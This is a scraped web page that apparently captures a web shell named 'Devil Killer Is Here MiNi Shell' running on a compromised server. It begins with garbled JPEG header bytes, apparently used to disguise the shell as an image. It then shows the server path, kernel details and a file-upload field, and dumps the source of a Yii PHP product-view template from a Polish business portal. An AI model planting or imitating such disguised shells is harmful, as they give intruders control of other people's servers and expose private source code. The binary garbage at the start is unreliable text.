JFIF ( %!1!%)+...383-7(-.+  -% &5/------------------------------------------------";!1AQ"aq2#3BRrb*!1"AQa2q#B ?yRd&vGlJwZvK)YrxB#j]ZAT^dpt{[wkWSԋ*QayBbm*&0<|0pfŷM`̬ ^.qR𽬷^EYTFíw<-.j)M-/s yqT'&FKz-([lև<G$wm2*e Z(Y-FVen櫧lҠDwүH4FX1 VsIOqSBۡNzJKzJξcX%vZcFSuMٖ%B ִ##\[%yYꉅ !VĂ1َRI-NsZJLTAPמQ:y״g_g= m֯Ye+Hyje!EcݸࢮSo{׬*h g<@KI$W+W'_> lUs1,o*ʺE.U"N&CTu7_0VyH,q ,)H㲣5<t ;rhnz%ݓz+4 i۸)P6+F>0Tв`&i}Shn?ik܀՟ȧ@mUSLFηh_er i_qt]MYhq 9LaJpPןߘvꀡ\"z[VƬ¤*aZMo=WkpSp \QhMb˒YH=ܒ m`CJt 8oFp]>pP1F>n8(*aڈ.Y݉[iTع JM!x]ԶaJSWҼܩ`yQ`*kE#nNkZKwA_7~ ΁JЍ;-2qRxYk=Uր>Z qThv@.w c{#&@#l;D$kGGvz/7[P+i3nIl`nrbmQi%}rAVPT*SF`{'6RX46PԮp(3W҅U\a*77lq^rT$vs2MU %*ŧ+\uQXVH !4t*Hg"Z챮 JX+RVU+ތ]PiJT XI= iPO=Ia3[ uؙ&2Z@.*SZ (")s8Y/-Fh Oc=@HRlPYp!wr?-dugNLpB1yWHyoP\ѕрiHִ,ِ0aUL.Yy`LSۜ,HZz!JQiVMb{( tژ <)^Qi_`: }8ٱ9_.)a[kSr> ;wWU#M^#ivT܎liH1Qm`cU+!2ɒIX%ֳNړ;ZI$?b$(9f2ZKe㼭qU8I[ U)9!mh1^N0 f_;׆2HFF'4b! yBGH_jтp'?uibQ T#ѬSX5gޒSF64ScjwU`xI]sAM( 5ATH_+s 0^IB++h@_Yjsp0{U@G -:*} TނMH*֔2Q:o@ w5(߰ua+a ~w[3W(дPYrF1E)3XTmIFqT~z*Is*清Wɴa0Qj%{T.ޅ״cz6u6݁h;֦ 8d97ݴ+ޕxзsȁ&LIJT)R0}f }PJdp`_p)əg(ŕtZ 'ϸqU74iZ{=Mhd$L|*UUn &ͶpHYJۋj /@9X?NlܾHYxnuXږAƞ8j ໲݀pQ4;*3iMlZ6w ȵP Shr!ݔDT7/ҡϲigD>jKAX3jv+ ߧز #_=zTm¦>}Tց<|ag{E*ֳ%5zW.Hh~a%j"e4i=vױi8RzM75i֟fEu64\էeo00d H韧rȪz2eulH$tQ>eO$@B /?=#٤ǕPS/·.iP28s4vOuz3zT& >Z2[0+[#Fޑ]!((!>s`rje('|,),y@\pЖE??u˹yWV%8mJ iw:u=-2dTSuGL+m<*צ1as&5su\phƃ qYLֳ>Y(PKi;Uڕp ..!i,54$IUEGLXrUE6m UJC?%4AT]I]F>׹P9+ee"Aid!Wk|tDv/ODc/,o]i"HIHQ_n spv"b}}&I:pȟU-_)Ux$l:fژɕ(I,oxin8*G>ÌKG}Rڀ8Frajٷh !*za]lx%EVRGYZoWѮ昀BXr{[d,t Eq ]lj+ N})0B,e iqT{z+O B2eB89Cڃ9YkZySi@/(W)d^Ufji0cH!hm-wB7C۔֛X$Zo)EF3VZqm)!wUxM49< 3Y .qDfzm |&T"} {*ih&266U9* <_# 7Meiu^h--ZtLSb)DVZH*#5UiVP+aSRIª!p挤c5g#zt@ypH={ {#0d N)qWT kA<Ÿ)/RT8D14y b2^OW,&Bcc[iViVdִCJ'hRh( 1K4#V`pِTw<1{)XPr9Rc 4)Srgto\Yτ~ xd"jO:A!7􋈒+E0%{M'T^`r=E*L7Q]A{]A<5ˋ.}<9_K (QL9FЍsĮC9!rpi T0q!H \@ܩB>F6 4ۺ6΋04ϲ^#>/@tyB]*ĸp6&<џDP9ᗟatM'> b쪗wI!܁V^tN!6=FD܆9*? q6h8  {%WoHoN.l^}"1+uJ ;r& / IɓKH*ǹP-J3+9 25w5IdcWg0n}U@2 #0iv腳z/^ƃOR}IvV2j(tB1){S"B\ ih.IXbƶ:GnI F.^a?>~!k''T[ע93fHlNDH;;sg-@, JOs~Ss^H '"#t=^@'W~Ap'oTڭ{Fن̴1#'c>꜡?F颅B L,2~ת-s2`aHQm:F^j&~*Nūv+{sk$F~ؒ'#kNsٗ D9PqhhkctԷFIo4M=SgIu`F=#}Zi'cu!}+CZI7NuŤIe1XT xC۷hcc7 l?ziY䠩7:E>k0Vxypm?kKNGCΒœap{=i1<6=IOV#WY=SXCޢfxl4[Qe1 hX+^I< tzǟ;jA%n=q@j'JT|na$~BU9؂dzu)m%glwnXL`޹W`AH̸뢙gEu[,'%1pf?tJ Ζmc[\ZyJvn$Hl'<+5[b]v efsЁ ^. &2 yO/8+$ x+zs˧Cޘ'^e fA+ڭsOnĜz,FU%HU&h fGRN擥{N$k}92k`Gn8<ʮsdH01>b{ {+ [k_F@KpkqV~sdy%ϦwK`D!N}N#)x9nw@7y4*\ Η$sR\xts30`O<0m~%U˓5_m ôªs::kB֫.tpv쌷\R)3Vq>ٝj'r-(du @9s5`;iaqoErY${i .Z(Џs^!yCϾ˓JoKbQU{௫e.-r|XWլYkZe0AGluIɦvd7 q -jEfۭt4q +]td_+%A"zM2xlqnVdfU^QaDI?+Vi\ϙLG9r>Y {eHUqp )=sYkt,s1!r,l鄛u#I$-֐2A=A\J]&gXƛ<ns_Q(8˗#)4qY~$'3"'UYcIv s.KO!{, ($LI rDuL_߰ Ci't{2L;\ߵ7@HK.Z)4
Devil Killer Is Here MiNi Shell

MiNi SheLL

Current Path : /home/vmanager/www/frontend/views/produkty/

Linux eb5096292c53 5.15.0-102-generic #112-Ubuntu SMP Tue Mar 5 16:50:32 UTC 2024 x86_64
Upload File :
Current File : //home/vmanager/www/frontend/views/produkty/view.php

<?php

use yii\helpers\Html;
use frontend\components\helpers\HtmlPurifier;
use yii\helpers\StringHelper;
use yii\helpers\Url;
use common\components\helpers\Image2;
use common\models\Companies;
use common\models\CompaniesContactData;
use common\models\CompaniesPresentations;
use common\models\CompaniesPresentationsTabs;
use common\models\PresentationsTabs;
use common\models\Products;
use common\models\ProductsCategories;
use common\models\ProductsPhotos;
use common\models\types\Status;
use common\models\types\ContactDataType;
use common\models\types\InquiryType;
use frontend\components\helpers\SlugGenerator;

use frontend\assets\InquiriesManagerAsset;

InquiriesManagerAsset::register($this);

/* @var $this yii\web\View */
/* @var $model common\models\Products */
/* @var $idProduct integer */
/* @var $idCompany integer */
/* @var $modelPresentation common\models\CompaniesPresentations */
/* @var $productName string */
/* @var $categoriesTree array */

$this->params['breadcrumbs'][] = ['label' => 'Produkty', 'url' => ['produkty/index']];
$this->params['breadcrumbs'][] = strip_tags(Html::encode($productName));
      
$this->registerJs('
    
    $(".ezo[data-id]").on("click", function() {
        var manager = vmanager.inquiriesManager.getInstance(),
            idProduct = $(this).data("id"),
            checked = $(this).attr("data-checked");
        if(!checked){
            manager.addProducts([idProduct]);
            $(this).attr("data-checked","true");
        }else{
            manager.deleteProducts([idProduct]);
            $(this).attr("data-checked","");
        };
        return false;
    });

    $("body").on("vmanager:refreshInquiries", function(event, status, data) {
        if(data.products.length > 0) {
            for(var i = 0, len = data.products.length; i < len; i++) {
                $(".ezo[data-id="+data.products[i].id_product+"]").attr("data-checked","true");
            }
        }
    });
        
');

$idPresentation = $modelPresentation->id_presentation;

?>

<div class="container">
    <div class="row tab-row">
        <div class="col-md-3 pt08 tab-left">
            <?= $this->render('_categories_tree', ['cssClass' => '', 'categoriesTree' => $categoriesTree, 'idSelectedCategory' => 0]); ?>     
            
            <?php echo Yii::$app->bannersManager->renderBanner(\common\models\types\BannerLocation::BANNER_M1,'render-as-normal hidden-lg hidden-sm hidden-xs');?>
            <?php echo Yii::$app->bannersManager->renderBanner(\common\models\types\BannerLocation::BANNER_M2,'render-as-normal hidden-lg hidden-sm hidden-xs');?>
            
        </div>
        
        <?php if($this->beginCache('product_'.$idProduct, [
            'duration' => 3600,
            'variations' => Yii::$app->params['modelPortal']->id_portal,
            'dependency' => [
                'class' => 'yii\caching\TagDependency',
                'tags' => ['product_'.$idProduct, 'products', 'presentation_'.$idPresentation, 'company_'.$idCompany.'_products', 'company_'.$idCompany],
            ]
        ])) { ?> 
        
        <?php
            $model = Products::find()
                ->with([
                    'tags' => function($q) { $q->orderBy('name ASC'); },
                    'photos' => function($q) { $q->orderBy('photo_order ASC'); },
                    'attachments' => function($q) { $q->orderBy('attachment_order ASC'); },
                ])
                ->where(['id_product' => $idProduct])
                ->one();
            
            $visibleContactDataFields = $modelPresentation->getSettingsKey('visible_contact_data_fields');
            $visibleContactDataItems = $modelPresentation->getSettingsKey('visible_contact_data_items');
            $seoPhrase = $modelPresentation->getSettingsKey('seo_phrase');
            $orHiddenContactData = (int)$modelPresentation->getSettingsKey('or_hidden_contact_data');
            
            $presentationTabs = CompaniesPresentationsTabs::find()
                    ->select(['companies_presentations_tabs.id_tab', 'companies_presentations_tabs.or_empty'])
                    ->join('INNER JOIN', 'portals_has_presentations_tabs', 'portals_has_presentations_tabs.id_tab = companies_presentations_tabs.id_tab')
                    ->where([
                        'companies_presentations_tabs.status' => Status::ACTIVE,
                        'companies_presentations_tabs.id_presentation' => $idPresentation,
                        'portals_has_presentations_tabs.id_portal' => Yii::$app->params['modelPortal']->id_portal
                    ])
                    ->orderBy('companies_presentations_tabs.tab_order')
                    ->asArray()
                    ->all();
                    
            $modelCompany = Companies::findOne($idCompany);
            
            $companySlug = SlugGenerator::generate($modelCompany->name);
            
            $modelsCompaniesContactData = CompaniesContactData::find()
                    ->where(['id_company' => $model->id_company, 'id_contact_data' => $visibleContactDataItems])
                    ->orderBy('data_order')
                    ->all();
            
            $languages = $modelCompany->getLanguages()->asArray()->all();
            
            $modelsAttachments = $model->getAttachments()->orderBy('attachment_order ASC')->all();
            
            $photos = [];
            if(!empty($model->photos)) {
                foreach($model->photos as $modelPhoto) {
                    $photos[] = [
                        'url' => Yii::$app->params['commonBaseUrl'].'/'.Image2::getUrl($modelPhoto->getImageUrl(), '500x500', Image2::OPERATION_FRAME, ProductsPhotos::getAcceptedSizes()),
                        'urlThumb' => Yii::$app->params['commonBaseUrl'].'/'.Image2::getUrl($modelPhoto->getImageUrl(), '100x125', Image2::OPERATION_FRAME, ProductsPhotos::getAcceptedSizes()),
                        'title' => !empty($modelPhoto->title) ? Html::encode($modelPhoto->title) : ''
                    ];
                }
            }
            if(!empty($model->image_filename)) {
                $photos[] = [
                    'urlThumb' => Yii::$app->params['commonBaseUrl'].'/'.Image2::getUrl($model->getImageUrl(), '100x125', Image2::OPERATION_FRAME, Products::getAcceptedSizes()),
                    'url' => Yii::$app->params['commonBaseUrl'].'/'.Image2::getUrl($model->getImageUrl(), '500x500', Image2::OPERATION_FRAME, Products::getAcceptedSizes()),
                    'title' => Html::encode($model->name)
                ];
            }
        ?>
        
        <div class="col-md-9 pt08 tab-cell" itemscope itemtype="http://schema.org/Product">
            <h2 class="header -portal-color portal-light-background">
                <span class="portal-border"><?= Yii::t('frontend', 'Karta produktu') ?></span>
                <a class="pull-right btn action portal-button-red" href="<?= Url::to(['zapytania/zadaj-pytanie', 'type' => InquiryType::PRODUCTS, 'id' => $model->id_product]) ?>"><span class="glyphicon glyphicon-envelope" aria-hidden="true"></span> <?= Yii::t('frontend', 'Zapytaj o produkt') ?></a>
                <small class="btn btn-info pull-right" style="margin:7px 15px 0 -13px; font-size: 14px !important; line-height: 21px; font-weight: bold;" data-toggle="popover" data-placement="top" title="Co to jest?" data-content="Klikając dodasz firmę na listę, do której następnie wyślesz zapytanie. Do listy możesz wybrać wiele firm i złożyć jedno zapytanie, które zostanie do nich wysłane. Spójrz w prawy górny róg strony, jest liczba firm, do których wyślesz zapytanie. Kliknij tam, zobaczysz szczegóły.">?</small>
                <a class="pull-right btn action ezo" href="#" data-checked="" data-id="<?= $model->id_product; ?>">
                    <span class="add btn btn-default portal-button"><span class="glyphicon glyphicon-plus-sign" aria-hidden="true"></span> <?= Yii::t('frontend', 'Dodaj do listy zapytań') ?></span>
                    <span class="del btn btn-default portal-button"><span class="glyphicon glyphicon-minus-sign" aria-hidden="true"></span> Usuń z listy zapytań</span>
                </a>
            </h2>
            
            <div style="display:none;">
                    <div itemprop="description"> 
                        <?= Html::encode($model->name, false) ?>
                    </div>
                    <span itemprop="brand"><?php echo Yii::$app->params['modelPortal']->domain ?></span>
                    <span itemprop="sku">id<?php echo $model->id_product ?></span>
                    <meta itemprop="mpn" content="id<?php echo $model->id_product ?>">
                    <span itemprop="offers" itemtype="http://schema.org/Offer" itemscope="">
                            <link itemprop="url" href="<?= Yii::$app->params['webProtocol'] ?>://www.<?php echo Yii::$app->params['modelPortal']->domain ?>">
                            <meta itemprop="availability" content="InStock">
                            <meta itemprop="itemCondition" content="https://schema.org/NewCondition">
                            <span itemprop="price"><?php if($model->price_gross){echo$model->price_gross;}else{echo'00.00';};?></span>
                            <span itemprop="priceCurrency"><?php if($model->currency){echo$model->currency;}else{echo'PLN';};?></span>
                            <meta itemprop="priceValidUntil" content="<?php echo(date('Y-m-d',strtotime("+60 day"))); ?>">
                            <span itemprop="seller" itemtype="http://schema.org/Organization" itemscope="">
                                    <meta itemprop="name" content="<?php echo Yii::$app->params['modelPortal']->domain ?>">
                            </span>
                    </span>
                    <span itemprop="aggregateRating" itemtype="http://schema.org/AggregateRating" itemscope="">
                            <meta itemprop="reviewCount" content="1">
                            <meta itemprop="ratingValue" content="5">
                    </span>
                    <span itemprop="review" itemtype="http://schema.org/Review" itemscope="">
                            <span itemprop="author" itemtype="http://schema.org/Person" itemscope="">
                                    <span itemprop="name"><?php echo Yii::$app->params['modelPortal']->domain ?></span>
                            </span>
                            <span itemprop="reviewRating" itemtype="http://schema.org/Rating" itemscope="">
                                    <span itemprop="ratingValue">5</span>
                                    <span itemprop="bestRating">5</span>
                            </span>
                    </span>
            </div> 

            <div class="col-sm-8">
                <h3 class="title" itemprop="name"><?= Html::encode($model->name, false) ?></h3>
                <div class="text-center">
                    <img loading="lazy" width="500" height="500" itemprop="image"<?php if(!empty($model->image_filename)): ?> content="<?= Yii::$app->params['commonBaseUrl'].'/'.str_replace('../../common/web/','',$model->getImageUrl()); ?>"<?php endif; ?> id="product" src="<?php if(!empty($model->image_filename)): ?><?= Yii::$app->params['commonBaseUrl'].'/'.Image2::getUrl($model->getImageUrl(), '500x500', Image2::OPERATION_FRAME, Products::getAcceptedSizes()) ?><?php else: ?><?= Yii::$app->params['frontendBaseUrl'].'/images/noimage/image500x500.png'; ?><?php endif; ?>" class="inline img-responsive" alt="<?= Yii::t('frontend', 'Podgląd') ?>">
                    <p id="reltext" class="text-center" style="border-bottom: 1px solid #EEE; padding-bottom: 10px;"><?= Html::encode($model->name, false) ?></p>
                </div>
                
                <?php if(count($photos) > 1): ?>
                    <div id="carousel" class="carousel carousel-thumbs mini slide" data-ride="carousel">
                        <div class="carousel-inner" role="listbox">
                            <div class="item active">
                                <?php foreach($photos as $key => $photo): ?>
                                    <a href="<?= $photo['url'] ?>" rel-image="#product" rel-text="<?= $photo['title'] ?>">
                                        <figure class="col-xs-3 text-center">
                                            <img loading="lazy" src="<?= $photo['urlThumb'] ?>" alt="<?= $photo['title'] ?>" class="img-responsive inline">
                                        </figure>
                                    </a>
                                    <?php if(($key+1) % 4 === 0 && ($key+1) < count($photos)): ?>
                                        </div>
                                        <div class="item">
                                    <?php endif; ?>
                                <?php endforeach; ?>
                            </div>
                        </div>
                        <a class="left carousel-control" href="#carousel" role="button" data-slide="prev">
                            <span class="glyphicon glyphicon-chevron-left" aria-hidden="true"></span>
                        </a>
                        <a class="right carousel-control" href="#carousel" role="button" data-slide="next">
                            <span class="glyphicon glyphicon-chevron-right" aria-hidden="true"></span>
                        </a>
                    </div>
                <?php endif; ?>
                
                    <div class="text-center">
                        <a href="<?= Url::to(['zapytania/zadaj-pytanie', 'type' => InquiryType::PRODUCTS, 'id' => $model->id_product]) ?>" class="btn btn-lg btn-default btn-glyph portal-button-red noradius">
                            <!--span class="pull-right glyphicon glyphicon-chevron-right hidden-md"></span-->
                            <span class="text-center text-uppercase"><strong><?= Yii::t('frontend', 'Zapytaj o produkt') ?></strong></span>
                        </a>
                        <div class="alert alert-warning mt1" style="font-size:13px;">
                            <?= Yii::t('frontend', 'Kontaktując się z firmą powiedz, że zdobyłeś o niej informacje dzięki portalowi <b>{portalDomain}</b>!<br>Dziękujemy!', ['portalDomain' => Yii::$app->params['modelPortal']->domain]) ?>
                        </div>
                    </div>
                    
                    <?php /* <div class="popover bottom mb1" style="position:relative;display:block;max-width:100%;z-index:0;"> 
                        <div class="arrow"></div>
                        <div class="popover-content text-center">
                            <small>
                                <?= Yii::t('frontend', 'Kontaktując się z firmą powiedz, że zdobyłeś o niej informacje dzięki portalowi <b>{portalDomain}</b>!<br>Dziękujemy!', ['portalDomain' => Yii::$app->params['modelPortal']->domain]) ?>
                            </small>
                        </div>
                    </div> */ ?>

                
            </div>
            <div class="col-sm-4 pt08" itemprop="manufacturer" itemscope itemtype="http://schema.org/Organization">
                
                <?php if($model->price_gross||$model->price_net||$model->price_details):?>
                    <div class="product_price">
                   <?php if($model->price_gross):?>
                        <div class="product_price_gross">
                            <?php echo $model->price_gross; ?>&nbsp;<?php echo $model->currency; ?>                
                        </div>
                   <?php endif;?>
                   <?php if($model->price_net):?>
                        <div class="product_price_net">
                            (<?php echo $model->price_net; ?>&nbsp;<?php echo $model->currency; ?> netto)
                        </div>
                   <?php endif;?>
                   <?php if($model->price_details):?>
                        <div class="product_price_details">
                            <?php echo $model->price_details; ?>
                        </div>
                   <?php endif;?>
                   </div>
                <?php endif;?>
                
                <span class="strong portal-color"><?= Yii::t('frontend', 'Skontaktuj się z firmą') ?>:</span>
                    <hr class="mhr">
                        <div class="block-table">
                            <div class="block-row">
                                <p class="subtitle">
                                    <?php if(in_array('name', $visibleContactDataFields)): ?><b itemprop="name"><?= Html::encode($modelCompany->name) ?></b><br><?php endif; ?>
                                </p>
                            </div>
                            <div class="block-row">
                                <div itemprop="address" itemscope itemtype="http://schema.org/PostalAddress">
                                    <span itemprop="streetAddress">
                                    <?php if(in_array('street', $visibleContactDataFields)): ?><?= Html::encode($modelCompany->street) ?>
                                        <?php if(in_array('building_number', $visibleContactDataFields)): ?> <?= Html::encode($modelCompany->building_number) ?>
                                            <?php if(!empty($modelCompany->apartment_number) && in_array('apartment_number', $visibleContactDataFields)): ?>/<?= Html::encode($modelCompany->apartment_number) ?><?php endif; ?>
                                        <?php endif; ?>
                                    <?php endif; ?>
                                    </span>
                                    <?php if(in_array('postcode', $visibleContactDataFields) || in_array('locality', $visibleContactDataFields)): ?><br><?php endif; ?>
                                    <?php if(in_array('postcode', $visibleContactDataFields)): ?><span itemprop="postalCode"><?= Html::encode($modelCompany->postcode) ?></span> <?php endif; ?>
                                    <?php if(in_array('locality', $visibleContactDataFields)): ?><span itemprop="addressLocality"><?= Html::encode($modelCompany->locality) ?></span> <?php endif; ?>
                                    <br>
                                    <?php if(in_array('region', $visibleContactDataFields)): ?><?= Html::encode($modelCompany->region) ?>, <?php endif; ?>
                                    <?php if(in_array('id_country', $visibleContactDataFields)): ?><?= ($modelCompany->id_country === 'PL') ? Yii::t('frontend', 'Polska') : Html::encode($modelCompany->country->name) ?><?php endif; ?>
                                </div>
                            </div>
                            <hr class="mhr">
                            <div class="block-row">
                                <strong class="strong portal-color"><?= Yii::t('frontend', 'Dane kontaktowe') ?>:</strong>
                            </div>
                            <div class="block-row">
                                <?php if(!empty($modelsCompaniesContactData)): ?>
                                <p>
                                    <?php foreach($modelsCompaniesContactData as $modelCompanyContactData): ?>
                                        <?php 
                                            switch($modelCompanyContactData->data_type) {
                                                case ContactDataType::EMAIL:
                                                    if($orHiddenContactData === 1) {
                                                        echo Html::encode($modelCompanyContactData->data_label);
                                                        echo ': <a href="mailto:">';
                                                        echo Html::encode(substr($modelCompanyContactData->data_value, 0, -3));
                                                        echo '<span class="cover">...</span>';
                                                        echo '</a> &nbsp;';
                                                        echo '<span data-cover="'.Html::encode(substr($modelCompanyContactData->data_value, -3, 3)).'" data-ajax-url="'.Yii::$app->params['frontendBaseUrl'].'/firmy/pokaz-dane-kontaktowe" data-id="'.$modelCompanyContactData->id_contact_data.'">&laquo; odkryj</span>';
                                                        echo '<br>';
                                                    } else {
                                                        echo Html::encode($modelCompanyContactData->data_label).': <a href="mailto:'.Html::encode($modelCompanyContactData->data_value).'">'.StringHelper::truncate(Html::encode($modelCompanyContactData->data_value),30).'</a><br>';
                                                    }
                                                    break;
                                                
                                                case ContactDataType::WWW:
                                                    echo '<a itemprop="url" href="'.Html::encode($modelCompanyContactData->data_value).'" target="_blank" rel="noopener noreferrer">'.StringHelper::truncate(Html::encode($modelCompanyContactData->data_value),30).'</a><br>';
                                                    break;
                                                
                                                case ContactDataType::AIM:
                                                case ContactDataType::GG:
                                                case ContactDataType::HANGOUTS:
                                                case ContactDataType::ICQ:
                                                case ContactDataType::QQ:
                                                case ContactDataType::JABBER:
                                                case ContactDataType::SKYPE:
                                                case ContactDataType::TLEN:
                                                case ContactDataType::WINDOWS_LIVE:
                                                case ContactDataType::COMMUNICATOR_OTHER:
                                                    echo Html::encode($modelCompanyContactData->data_label).': <b>'.Html::encode($modelCompanyContactData->data_value).'</b><br>';
                                                    break;
                                                    
                                                case ContactDataType::FACEBOOK:
                                                case ContactDataType::YOUTUBE:
                                                case ContactDataType::TWITTER:                                                    
                                                case ContactDataType::GOOGLE_PLUS: 
                                                    echo Html::encode($modelCompanyContactData->data_label).': <b><a href="'.$modelCompanyContactData->data_value.'" class="url" rel="nofollow" target="_blank">'.substr($modelCompanyContactData->data_value,strRpos($modelCompanyContactData->data_value,'/')+1).'</a></b><br>';
                                                    break;
                                                    
                                                case ContactDataType::MOBILE_PHONE: 
                                                case ContactDataType::PHONE:
                                                    if($orHiddenContactData === 1) {
                                                        echo Html::encode($modelCompanyContactData->data_label);
                                                        echo ': <a href="tel:" class="btn btn-phone tel">';
                                                        echo Html::encode(substr($modelCompanyContactData->data_value, 0, -3));
                                                        echo '<span class="cover">...</span>';
                                                        echo '</a> &nbsp;';
                                                        echo '<span data-cover="'.Html::encode(substr($modelCompanyContactData->data_value, -3, 3)).'" data-ajax-url="'.Yii::$app->params['frontendBaseUrl'].'/firmy/pokaz-dane-kontaktowe" data-id="'.$modelCompanyContactData->id_contact_data.'">&laquo; odkryj</span>';
                                                        echo '<br>';
                                                    } else {                                                    
                                                        echo Html::encode($modelCompanyContactData->data_label).': <b itemprop="telephone">'.Html::encode($modelCompanyContactData->data_value).'</b><br>';
                                                    }
                                                    break;
                                                case ContactDataType::FAX:
                                                    if($orHiddenContactData === 1) {
                                                        echo Html::encode($modelCompanyContactData->data_label);
                                                        echo ': <span class="text-nowrap">';
                                                        echo Html::encode(substr($modelCompanyContactData->data_value, 0, -3));
                                                        echo '<span class="cover">...</span>';
                                                        echo '</span> &nbsp;';
                                                        echo '<span data-cover="'.Html::encode(substr($modelCompanyContactData->data_value, -3, 3)).'" data-ajax-url="'.Yii::$app->params['frontendBaseUrl'].'/firmy/pokaz-dane-kontaktowe" data-id="'.$modelCompanyContactData->id_contact_data.'">&laquo; odkryj</span>';
                                                        echo '<br>';
                                                    } else {                                                    
                                                        echo Html::encode($modelCompanyContactData->data_label).': <b itemprop="faxNumber">'.Html::encode($modelCompanyContactData->data_value).'</b><br>';
                                                    }
                                                    break;
                                            }
                                        ?>
                                    <?php endforeach; ?>
                                </p>
                                <?php endif; ?>
                            </div>   
                            <hr class="mhr">
                            <div class="block-row">
                                <strong class="strong portal-color"><?= Yii::t('frontend', 'Rozmawiamy w językach') ?>:</strong>
                            </div>
                            <div class="block-row">
                                <p class="subtitle">
                                    <?php foreach($languages as $language): ?>
                                    <span class="lang" style="line-height:1;"><img loading="lazy" width="22" height="14" src="<?= Yii::$app->params['frontendBaseUrl']; ?>/images/flags_for_langs/<?= $language['id_language'] ?>.png" alt="<?= $language['name'] ?>"></span>
                                    <?php endforeach; ?>
                                </p>                                    
                            </div> 
                            <hr class="mhr">
                            <div class="block-row">
                                <strong class="strong portal-color"><?= Yii::t('frontend', 'Karta firmy') ?>:</strong>
                            </div>
                            <div class="block-row">
                                <div class="list-group raquo">
                                    <?php foreach($presentationTabs as $presentationTab): ?>
                                        <?php if(empty($presentationTab['or_empty'])): ?>
                                            <?php 
                                                switch($presentationTab['id_tab']) {
                                                    case PresentationsTabs::TAB_CONTACT_DATA:
                                                        echo Html::a(Yii::t('frontend', 'Dane kontaktowe'), ['firmy/dane-kontaktowe', 'id' => $idPresentation, 'slug' => $companySlug], ['class' => 'col-xs-6 col-sm-12 list-group-item noborder']);
                                                        break;
                                                    case PresentationsTabs::TAB_BRANCHES:
                                                        echo Html::a(Yii::t('frontend', 'Oddziały'), ['firmy/oddzialy', 'id' => $idPresentation, 'slug' => $companySlug], ['class' => 'col-xs-6 col-sm-12 list-group-item noborder']);
                                                        break;
                                                    case PresentationsTabs::TAB_INDUSTRIES_AND_COVERAGE:
                                                        echo Html::a(Yii::t('frontend', 'Branże i zasięg'), ['firmy/branze-i-zasieg', 'id' => $idPresentation, 'slug' => $companySlug], ['class' => 'col-xs-6 col-sm-12 list-group-item noborder']);
                                                        break;
                                                    case PresentationsTabs::TAB_ABOUT_COMPANY:
                                                        echo Html::a(Yii::t('frontend', 'O firmie'), ['firmy/o-firmie', 'id' => $idPresentation, 'slug' => $companySlug], ['class' => 'col-xs-6 col-sm-12 list-group-item noborder']);
                                                        break;
                                                    case PresentationsTabs::TAB_OFFER:
                                                        echo Html::a(Yii::t('frontend', 'Oferta'), ['firmy/oferta', 'id' => $idPresentation, 'slug' => $companySlug], ['class' => 'col-xs-6 col-sm-12 list-group-item noborder']);
                                                        break;
                                                    case PresentationsTabs::TAB_PRODUCTS_AND_SERVICES:
                                                        echo Html::a(Yii::t('frontend', 'Produkty i usługi'), ['firmy/produkty-i-uslugi', 'id' => $idPresentation, 'slug' => $companySlug], ['class' => 'col-xs-6 col-sm-12 list-group-item noborder']);
                                                        break;
                                                    case PresentationsTabs::TAB_REFERENCES_AND_AWARDS:
                                                        echo Html::a(Yii::t('frontend', 'Referencje i nagrody'), ['firmy/referencje-i-nagrody', 'id' => $idPresentation, 'slug' => $companySlug], ['class' => 'col-xs-6 col-sm-12 list-group-item noborder']);
                                                        break;
                                                    case PresentationsTabs::TAB_PUBLICATIONS:
                                                        echo Html::a(Yii::t('frontend', 'Publikacje'), ['firmy/publikacje', 'id' => $idPresentation, 'slug' => $companySlug], ['class' => 'col-xs-6 col-sm-12 list-group-item noborder']);
                                                        break;
                                                    case PresentationsTabs::TAB_DOWNLOAD:
                                                        echo Html::a(Yii::t('frontend', 'Do pobrania'), ['firmy/do-pobrania', 'id' => $idPresentation, 'slug' => $companySlug], ['class' => 'col-xs-6 col-sm-12 list-group-item noborder']);
                                                        break;
                                                    case PresentationsTabs::TAB_PHOTO_GALLERIES:
                                                        echo Html::a(Yii::t('frontend', 'Galerie'), ['firmy/galerie', 'id' => $idPresentation, 'slug' => $companySlug], ['class' => 'col-xs-6 col-sm-12 list-group-item noborder']);
                                                        break;
                                                    case PresentationsTabs::TAB_VIDEO_GALLERIES:
                                                        echo Html::a(Yii::t('frontend', 'Video'), ['firmy/video', 'id' => $idPresentation, 'slug' => $companySlug], ['class' => 'col-xs-6 col-sm-12 list-group-item noborder']);
                                                        break;
                                                    case PresentationsTabs::TAB_TRAININGS:
                                                        echo Html::a(Yii::t('frontend', 'Szkolenia'), ['firmy/szkolenia', 'id' => $idPresentation, 'slug' => $companySlug], ['class' => 'col-xs-6 col-sm-12 list-group-item noborder']);
                                                        break;
                                                } 
                                            ?>
                                        <?php endif;?>
                                    <?php endforeach; ?>
                                </div>
                            </div>
                        </div>
            </div>
            <div class="clearfix"></div>
            
            <ul class="header -portal-color portal-border nav nav-tabs portal-light-background">
                <li class="active"><a href="#description" data-toggle="tab"><?= Yii::t('frontend', 'Opis produktu') ?></a></li>
                <?php if(!empty($model->params)): ?><li><a href="#params" data-toggle="tab"><?= Yii::t('frontend', 'Parametry') ?></a></li><?php endif; ?>
                <?php if(!empty($modelsAttachments)): ?><li><a href="#attachments" data-toggle="tab"><?= Yii::t('frontend', 'Załączniki') ?></a></li><?php endif; ?>
            </ul>
            <div class="tab-content">
                
                <div class="tab-pane active" id="description">
                    <div class="lorem p10px">
                        <?= HtmlPurifier::process($model->description) ?>
                    </div>
                </div>
                
                <?php if(!empty($model->params)): ?>
                <div class="tab-pane" id="params">
                    <div class="p10px">
                        <table class="table table-striped">
                            <tbody>
                            <?php foreach($model->params as $modelParam): ?>
                                <tr><td><?php echo $modelParam['name']; ?></td> <td><?php echo $modelParam['value']; ?></td></tr>
                            <?php endforeach; ?> 
                            </tbody> 
                        </table>
                    </div>
                </div>
                <?php endif; ?>
                
                <?php if(!empty($modelsAttachments)): ?>
                <div class="tab-pane" id="attachments">
                    <div class="p10px">
                        <div class="strong portal-color"><?= Yii::t('frontend', 'Pliki do pobrania') ?></div>
                        <?php foreach($modelsAttachments as $modelAttachment): ?>
                        <div class="media nomargin list col-sm-6 col-xs-12">
                            <div class="media-left glyph">
                                <span class="glyphicon glyphicon-file" aria-hidden="true"></span>
                            </div>
                            <div class="media-body">
                                <a href="<?= $modelAttachment->getFileUrl() ?>" target="_blank" rel="nofollow noopener noreferrer">
                                    <h4 class="media-heading"><?= Html::encode($modelAttachment->name) ?></h4>
                                    <!--<p>Lorem ipsum dolor sit amed</p>-->
                                </a>
                            </div>
                        </div>
                        <?php endforeach; ?> 
                    </div>   
                </div>
                <?php endif; ?>
                
            </div>            
            
            <div class="clearfix"></div>            
            
